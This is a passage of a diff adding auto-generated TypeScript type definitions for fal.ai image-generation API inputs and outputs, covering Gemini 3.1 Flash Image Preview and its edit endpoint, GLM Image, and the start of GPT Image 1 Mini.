+ safety_tolerance?: InputFalAiGemini31FlashImagePreviewSafetyToleranceEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. Use "auto" to let the model decide based on the prompt. + * @default auto + */ + aspect_ratio?: InputFalAiGemini31FlashImagePreviewAspectRatioKey | null +} + +export type ImageFile7F94C478 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type GeminiTextPart98E10D58 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePartAc10C99E = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPart746939CeMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart746939CeMimeTypeEnumKey = + (typeof geminiDocumentPart746939CeMimeTypeEnum)[keyof typeof geminiDocumentPart746939CeMimeTypeEnum] + +export type GeminiDocumentPart746939Ce = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart746939CeMimeTypeEnumKey + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiVideoPart5C8F9C38 = { + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePart9Ea53B9D = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPart7Ceb8Bf1 = { + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessage3878Bae8RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage3878Bae8RoleEnumKey = + (typeof geminiVideoMessage3878Bae8RoleEnum)[keyof typeof geminiVideoMessage3878Bae8RoleEnum] + +export type GeminiVideoMessage3878Bae8 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage3878Bae8RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart98E10D58 & { + type: 'text' + }) + | (GeminiImagePartAc10C99E & { + type: 'image' + }) + | (GeminiDocumentPart746939Ce & { + type: 'document' + }) + | (GeminiVideoPart5C8F9C38 & { + type: 'video' + }) + | (GeminiSignaturePart9Ea53B9D & { + type: 'signature' + }) + | (GeminiAudioPart7Ceb8Bf1 & { + type: 'audio' + }) + )[] +} + +export type GeminiConversationCb50C489 = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessage3878Bae8[] +} + +export type OutputFalAiGemini31FlashImagePreview = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-2-t2i-output.png","content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-t2i-output.png"}] + * @type array + */ + images: ImageFile7F94C478[] + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversationCb50C489[] +} + +export type GeminiTextPartC2A07Ca1 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePartC41F699B = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPart822B1F0BMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart822B1F0BMimeTypeEnumKey = + (typeof geminiDocumentPart822B1F0BMimeTypeEnum)[keyof typeof geminiDocumentPart822B1F0BMimeTypeEnum] + +export type GeminiDocumentPart822B1F0B = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart822B1F0BMimeTypeEnumKey + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string +} + +export type GeminiVideoPart5B7D7B81 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePart2C42B3Ac = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPart630D0590 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessage5Ebde171RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage5Ebde171RoleEnumKey = + (typeof geminiVideoMessage5Ebde171RoleEnum)[keyof typeof geminiVideoMessage5Ebde171RoleEnum] + +export type GeminiVideoMessage5Ebde171 = { + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartC2A07Ca1 & { + type: 'text' + }) + | (GeminiImagePartC41F699B & { + type: 'image' + }) + | (GeminiDocumentPart822B1F0B & { + type: 'document' + }) + | (GeminiVideoPart5B7D7B81 & { + type: 'video' + }) + | (GeminiSignaturePart2C42B3Ac & { + type: 'signature' + }) + | (GeminiAudioPart630D0590 & { + type: 'audio' + }) + )[] + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage5Ebde171RoleEnumKey +} + +export const inputFalAiGemini31FlashImagePreviewEditThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputFalAiGemini31FlashImagePreviewEditThinkingLevelKey = + (typeof inputFalAiGemini31FlashImagePreviewEditThinkingLevel)[keyof typeof inputFalAiGemini31FlashImagePreviewEditThinkingLevel] + +export const inputFalAiGemini31FlashImagePreviewEditResolutionEnum = { + '0.5K': '0.5K', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiGemini31FlashImagePreviewEditResolutionEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewEditResolutionEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewEditResolutionEnum] + +export const inputFalAiGemini31FlashImagePreviewEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini31FlashImagePreviewEditOutputFormatEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewEditOutputFormatEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewEditOutputFormatEnum] + +export const inputFalAiGemini31FlashImagePreviewEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini31FlashImagePreviewEditSafetyToleranceEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewEditSafetyToleranceEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewEditSafetyToleranceEnum] + +export const inputFalAiGemini31FlashImagePreviewEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiGemini31FlashImagePreviewEditAspectRatioKey = + (typeof inputFalAiGemini31FlashImagePreviewEditAspectRatio)[keyof typeof inputFalAiGemini31FlashImagePreviewEditAspectRatio] + +export type InputFalAiGemini31FlashImagePreviewEdit = { + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Controls thinking effort ('minimal' or 'high') and requests thought summaries. Omit to use the provider default ('minimal'); thinking cannot be disabled. + */ + thinking_level?: InputFalAiGemini31FlashImagePreviewEditThinkingLevelKey | null + /** + * @description Ordered text, image, PDF, UTF-8 text-file or video parts appended to the current prompt. Original media bytes are preserved; images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPartC2A07Ca1 & { + type: 'text' + }) + | (GeminiImagePartC41F699B & { + type: 'image' + }) + | (GeminiDocumentPart822B1F0B & { + type: 'document' + }) + | (GeminiVideoPart5B7D7B81 & { + type: 'video' + }) + | (GeminiSignaturePart2C42B3Ac & { + type: 'signature' + }) + )[] + /** + * @description Previous native Gemini turns, including original parts and thought signatures from conversations. The current prompt starts a new user turn. + * @type array | undefined + */ + history?: GeminiVideoMessage5Ebde171[] + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Optional PDF document to use as input context. Accepts an http(s)/data URL (downloaded and sent inline, max 15MB). + */ + pdf_url?: string | null + /** + * @description The URLs of the images to use for image-to-image generation or image editing. Optional when at least one of `video_url`, `audio_url`, or `pdf_url` is provided. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Ground image generation with Google Image Search. Can be combined with enable_web_search; source attribution is returned in grounding_metadata. Uses direct Google or Vertex APIs. + * @default false + * @type boolean | undefined + */ + enable_image_search?: boolean + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiGemini31FlashImagePreviewEditResolutionEnumKey + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini31FlashImagePreviewEditOutputFormatEnumKey + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiGemini31FlashImagePreviewEditSafetyToleranceEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Optional audio file to use as input context. Accepts an http(s)/data URL (downloaded and sent inline, max 15MB). + */ + audio_url?: string | null + /** + * @description Optional video to use as input context. Accepts an http(s)/data URL to a video file (downloaded and sent inline, max 15MB) or a YouTube URL (passed through to the model without downloading). + */ + video_url?: string | null + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. + * @default auto + */ + aspect_ratio?: InputFalAiGemini31FlashImagePreviewEditAspectRatioKey | null +} + +export type ImageFile56358287 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type GeminiTextPartF9394927 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePart3B1A0E4D = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPartB2E61C1DMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPartB2E61C1DMimeTypeEnumKey = + (typeof geminiDocumentPartB2E61C1DMimeTypeEnum)[keyof typeof geminiDocumentPartB2E61C1DMimeTypeEnum] + +export type GeminiDocumentPartB2E61C1D = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPartB2E61C1DMimeTypeEnumKey + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiVideoPartD7Aba347 = { + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePart505Ed9F8 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPart0306D094 = { + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessage453F6Dd7RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage453F6Dd7RoleEnumKey = + (typeof geminiVideoMessage453F6Dd7RoleEnum)[keyof typeof geminiVideoMessage453F6Dd7RoleEnum] + +export type GeminiVideoMessage453F6Dd7 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage453F6Dd7RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartF9394927 & { + type: 'text' + }) + | (GeminiImagePart3B1A0E4D & { + type: 'image' + }) + | (GeminiDocumentPartB2E61C1D & { + type: 'document' + }) + | (GeminiVideoPartD7Aba347 & { + type: 'video' + }) + | (GeminiSignaturePart505Ed9F8 & { + type: 'signature' + }) + | (GeminiAudioPart0306D094 & { + type: 'audio' + }) + )[] +} + +export type GeminiConversationD9B2135C = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessage453F6Dd7[] +} + +export type OutputFalAiGemini31FlashImagePreviewEdit = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The edited images. + * @example [{"file_name":"nano-banana-2-edit-output.png","content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-edit-output.png"}] + * @type array + */ + images: ImageFile56358287[] + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversationD9B2135C[] +} + +export type ImageSize16551C12 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiGlmImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiGlmImageOutputFormatEnumKey = + (typeof inputFalAiGlmImageOutputFormatEnum)[keyof typeof inputFalAiGlmImageOutputFormatEnum] + +export const inputFalAiGlmImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiGlmImageImageSizeKey = + (typeof inputFalAiGlmImageImageSize)[keyof typeof inputFalAiGlmImageImageSize] + +export type InputFalAiGlmImage = { + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiGlmImageOutputFormatEnumKey + /** + * @description Classifier-free guidance scale. Higher values make the model follow the prompt more closely. + * @minimum 1 + * @maximum 10 + * @default 1.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. The same seed with the same prompt will produce the same image. + */ + seed?: number | null + /** + * @description Text prompt for image generation. + * @example An elegant close-up photograph of hands holding a beautifully illustrated watercolor menu card. The hands have natural sun-kissed skin with a delicate gold ring, gripping the menu gently and refined. + * + * The menu is a work of art—hand-painted watercolor illustration on textured cream watercolor paper with soft deckled edges: + * + * - Top: "AZURE" painted in flowing navy blue watercolor calligraphy with organic brushstroke texture and slight color bleeding + * - Watercolor illustration border: delicate tropical elements painted in soft washes—translucent turquoise waves flowing along the edges, loose coral and pink hibiscus flowers in the corners, gentle green palm leaf strokes, and small golden paint splatters suggesting sunlight + * - Center menu items in elegant hand-lettered watercolor script with slight variations in ink density: + * + * "Tuna Tartare — 24" + * "Sea Bass — 32" + * "Mango Pavlova — 14" + * + * - Bottom: "Koh Samui" in small watercolor lettering with a tiny painted wave + * + * The watercolor has beautiful organic qualities—soft color gradients, natural paper texture visible through transparent washes, slight bleeding at edges of brushstrokes, layered translucent blues and greens creating depth. The paint has a luminous, fresh quality with white paper showing through in places. + * + * Background: dreamy out-of-focus turquoise ocean with sparkling bokeh lights reflecting off water, creating soft circular light spots in aqua and gold tones. The blurred background complements the watercolor aesthetic perfectly. + * + * Lighting: warm natural golden hour sunlight from upper left, illuminating the watercolor pigments and making them glow. The light catches the textured watercolor paper beautifully, showing subtle shadows in the paint layers and paper grain. + * + * Photography style: shot on 85mm f/1.4, shallow depth of field with only the menu in sharp focus. High-end editorial aesthetic that celebrates the handmade, artistic quality of the watercolor. Color palette: cream paper, translucent turquoise and teal watercolors, soft coral pink, navy blue, gentle greens, golden accents, warm skin tones. + * + * The overall mood is artistic, luxurious, handcrafted—like a boutique resort that values artistry and craftsmanship. The watercolor style feels fresh, organic, and elevated. + * @type string + */ + prompt: string + /** + * @description Number of diffusion denoising steps. More steps generally produce higher quality images. + * @minimum 10 + * @maximum 100 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Output image size. + * @default square_hd + */ + image_size?: ImageSize16551C12 | InputFalAiGlmImageImageSizeKey + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If True, the image will be returned as a base64 data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image8E2592C6 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiGlmImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description List of URLs to the generated images. + * @example [{"height":1024,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/menu.jpg","width":1024}] + * @type array + */ + images: Image8E2592C6[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize0B4A8D88 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiGlmImageImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiGlmImageImageToImageOutputFormatEnumKey = + (typeof inputFalAiGlmImageImageToImageOutputFormatEnum)[keyof typeof inputFalAiGlmImageImageToImageOutputFormatEnum] + +export const inputFalAiGlmImageImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiGlmImageImageToImageImageSizeKey = + (typeof inputFalAiGlmImageImageToImageImageSize)[keyof typeof inputFalAiGlmImageImageToImageImageSize] + +export type InputFalAiGlmImageImageToImage = { + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiGlmImageImageToImageOutputFormatEnumKey + /** + * @description Classifier-free guidance scale. Higher values make the model follow the prompt more closely. + * @minimum 1 + * @maximum 10 + * @default 1.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. The same seed with the same prompt will produce the same image. + */ + seed?: number | null + /** + * @description Text prompt for image generation. + * @example Make the dress red. + * @type string + */ + prompt: string + /** + * @description Number of diffusion denoising steps. More steps generally produce higher quality images. + * @minimum 10 + * @maximum 100 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Output image size. + * @default square_hd + */ + image_size?: ImageSize0B4A8D88 | InputFalAiGlmImageImageToImageImageSizeKey + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If True, the image will be returned as a base64 data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL(s) of the condition image(s) for image-to-image generation. Supports up to 4 URLs for multi-image references. + * @example https://storage.googleapis.com/falserverless/example_inputs/catwalk.png + * @type array + */ + image_urls: string[] + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image7861B89C = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiGlmImageImageToImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description List of URLs to the generated images. + * @example [{"height":1536,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/catwalk_red.png","width":1024}] + * @type array + */ + images: Image7861B89C[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiGptImage1MiniOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGptImage1MiniOutputFormatEnumKey = + (typeof inputFalAiGptImage1MiniOutputFormatEnum)[keyof typeof inputFalAiGptImage1MiniOutputFormatEnum] + +export const inputFalAiGptImage1MiniQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputFalAiGptImage1MiniQualityEnumKey = + (typeof inputFalAiGptImage1MiniQualityEnum)[keyof typeof inputFalAiGptImage1MiniQualityEnum] + +export const inputFalAiGptImage1MiniImageSizeEnum = { + auto: 'auto', + '1024x1024': '1024x1024', + '1536x1024': '1536x1024', + '1024x1536': '1024x1536', +} as const + +export type InputFalAiGptImage1MiniImageSizeEnumKey = + (typeof 